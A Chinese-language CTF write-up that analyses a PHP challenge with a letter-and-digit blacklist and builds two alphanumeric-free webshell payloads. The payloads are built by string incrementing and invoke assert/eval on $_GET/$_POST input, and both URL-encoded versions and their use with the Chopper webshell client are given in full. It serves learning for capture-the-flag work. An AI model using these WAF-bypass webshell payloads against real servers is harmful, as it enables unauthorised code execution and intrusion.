这篇文章在写的时候我查阅了许多资料也参考了很多师傅的博客,尽我所能的搞懂这个知识点以及要完成这个操作所需要的相关知识。在搞明白以后,回过头来看,其实也没有当初那样晦涩难懂,只是初学起来会因为知识储备不够而走入思维的误区。
网上也有很多的相关资料,但我还是想把这篇文章分享出来,并不是因为我总结的有多好,见解有多深刻,而是每个人在遇到这个问题的时候思维不一样,知识储备不一样,走入的误区也不一样。自己做记录的同时,也希望帮助其他的伙伴。
<?php ini_set("display_errors", "On"); error_reporting(E_ALL | E_STRICT); if(!isset($_GET['c'])){ show_source(__FILE__); die(); } function rand_string( $length ) { $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; $size = strlen( $chars ); $str = ''; for( $i = 0; $i < $length; $i++ ) { //注意:原代码为id+,应为笔误,测试中i++才是对的 $str .= $chars[ rand( 0, $size - 1 ) ]; } return $str; } $data = $_GET['c']; $black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~'); foreach ($black_list as $b) { if (stripos($data, $b) !== false){ die("WAF!"); } } $filename=rand_string(0x20).'.php'; $folder='uploads/'; $full_filename = $folder.$filename; if(file_put_contents($full_filename, '<?php '.$data)){ echo "<a href='".$full_filename."'>WebShell</a></br>"; echo "Enjoy your webshell~"; }else{ echo "Some thing wrong..."; }
首先对代码逻辑进行分析:
本题代码相对来说较多,我选择的方法是先分块后分析,在这里分了四块
第一块:
<?php ini_set("display_errors", "On"); error_reporting(E_ALL | E_STRICT); if(!isset($_GET['c'])){ show_source(__FILE__); die(); }
以get的方法传参入一个参数c
第二块:
function rand_string( $length ) { $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; $size = strlen( $chars ); $str = ''; for( $i = 0; $i < $length; $i++ ) { //注意:原代码中这个地方是id+,应为笔误,测试中i++才是对的 $str .= $chars[ rand( 0, $size - 1 ) ]; } return $str; }
生成一个包含数字和字母的随机数
第三块:
$data = $_GET['c']; $black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~'); foreach ($black_list as $b) { if (stripos($data, $b) !== false){ die("WAF!"); } }
把传入c的值赋值给data,检查传入的值是否包含black_list中的字符。换句话说,第三块设置了一个WAF,过滤其中的字符,通过get传入的参数c不能包含其中的字符(不能包含数字字母和一些其他符号),否则将会被拦截。
第四块:
$filename=rand_string(0x20).'.php'; $folder='uploads/'; $full_filename = $folder.$filename; if(file_put_contents($full_filename, '<?php '.$data)){ //file_put_contents() 函数把一个字符串写入文件中。 echo "<a href='".$full_filename."'>WebShell</a></br>"; echo "Enjoy your webshell~"; }else{ echo "Some thing wrong..."; }
设置上传文件的文件名(第二部分生成的随机值)和文件目录,并把传入c的值存入文件中,这一步把我们自己传入的参数写到他自己生成的文件中,就要考虑如何给他往里面写点咱们能利用的东西。
把这四块合起来说:
分析完代码逻辑发现,接下来最主要的问题就是如何绕过限制字符,把我们可以利用的值存入文件中,并成功利用。
在这里通过查阅资料发现,目前解决不包含字母和数字的webshell大体归为三类:
在本题中给出的两种payload都是基于第二种方法的,因为题目WAF做了太多的限制,利用自增这个方法比较直观减少盲目。
第一种方法:先构造上传文件,在往文件中写一句话(木马)
第一步:得到$GET['']($_GET['__'])
<?php $_=[].[]; //俩数组拼接强行返回ArrayArray,这里一个短杠的值也就是ArrayArray $__=''; //两个短杠赋值为空 $_=$_[''];//从arrayarray中取首字符,即a。这里$_=$_[0]也是一样的道理,不过waf限制数字输入 $_=++$_; //b $_=++$_; //c $_=++$_; //d $_=++$_; //e $__.=$_; //E 把两个短杠赋值为E $_=++$_; //F 一个短杠继续自增 $_=++$_; //G $__=$_.$__; // GE 一个短杠自增变成了G,两个短杠在前面第十一行处已经赋值为E,拼接得GE $_=++$_; //H 此处一个短杠继续自增,为H $_=++$_; //I $_=++$_; //J $_=++$_; //k $_=++$_; //L $_=++$_; //M $_=++$_; //N $_=++$_; //O $_=++$_; //P $_=++$_; //Q $_=++$_; //R $_=++$_; //S $_=++$_; //T $__.=$_; // GET 在此处,两条短杠原是GE与一条短杠(已经自增为T),.=拼接,构成get ${'_'.$__}[_](${'_'.$__}[__]); // 进行拼接,$_GET['_']($_GET['__']);
对上边代码在php中意思不明白的话可以自己运行var_dump()一下
.=
是字符串的连接,具体参看php语法。
在这里如果还不明白为什么要构造出$_GET['_']($_GET['__'])
继续往后看
由于+在传送中会被解释为空格,所以需要提前url编码为%2b,然后还需要去掉上面的这个webshell中的空格,换行。写入文件的payload如下:
?c=%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b
url解码后原始写入文件payload:
?c=$_=[].[];$__='';$_=$_[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$_=++$_;$_=++$_;$__=$_.$__;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;${'_'.$__}[_](${'_'.$__}[__]);
对写入文件payload的解释:
$_GET['_']($_GET['__'])
这个意思是函数名和函数的参数可控。
既然可控,那么前面_
可以取assert
,__
可以取$_POST
从而完成一句话的写入
(以前并没有遇到过这种写shell的方法,感谢1x2Bytes师傅给我讲明这种方法。我见识太浅了。)
步骤思路总结:
第一步:构造上传文件
首先看代码逻辑,代码逻辑是使用get的方法传入参数,并把参数保存在upload文件夹下的文件中,此时传入的就是$_GET['_']($_GET['__'])
,文件中写入的也就是$_GET['_']($_GET['__'])
到此第一步写入文件结束
第二步:传参准备连刀
因为第一步我们已经成功将$_GET['_']($_GET['__'])
写入到文件中,第二步就是传参,_=assert&__=eval("$_POST[c]")
,以get的方式传参,因为此时已经是在上传文件的目录下,所以就没有waf的防护。
连菜刀:
127.0.0.1/uploads/vVyyxGUTyFsL0tgdvmCjVkvRAehduvvQ.php?_=assert&__=eval("$_POST[c]")
成功getshell:
第二种方法:直接传参
<?php $_='';$_[+$_]++; $_=$_.''; //array $__=$_[+'']; //a $_ = $__; //a $___=$_; //a $__=$_; //a $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //s $___.=$__; //两道杠经过自增到s,三道杠为a,.=为连接符,三道杠现在为as $___.=$__; //两道杠经过自增到s,三道杠为as,.=为连接符,三道杠现在为ass $__=$_; //两道杠还是a $__++;$__++;$__++;$__++; //e $___.=$__; //两道杠经过自增到e,三道杠为ass,.=为连接符,三道杠现在为asse $__=$_; //两道杠还是a $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //r $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //t $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //p $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //o $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //s $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //t $____.=$__; $_=$$____; $___($_[_]);//$assert($post[_])
对上边代码在php中意思不明白的话可以自己运行var_dump()一下
上边代码中的换行是为了展示清晰换的行,在实际payload中并没有换行。同样由于+在传送中会被解释为空格,所以需要提前url编码为%2b
payload:
?c=$_='';$_[%2b$_]%2b%2b;$_=$_.'';$__=$_[%2b''];$_=$__;$___=$_;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$____='_';$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$_=$$____;$___($_["_"]);
解码后的payload其实是:
?c=$_='';$_[+$_]++;$_=$_.'';$__=$_[+''];$_=$__;$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
利用:
http://localhost/uploads/gWO6mgPDaZUvCt4TMXLnREks1pyh22mu.php
post:_=phpinfo
还可以直接连菜刀(此处感谢灵灵表哥点明低版本菜刀可以连这个一句话)
成功:
一开始连刀失败,post利用成功。我本以为$assert($post[_])
是个动态函数,不能连刀,请教灵灵表哥后知道,低版本(1.0)菜刀可以连这个一句话。
步骤思路总结:
至此,两种利用方法都成功的演示。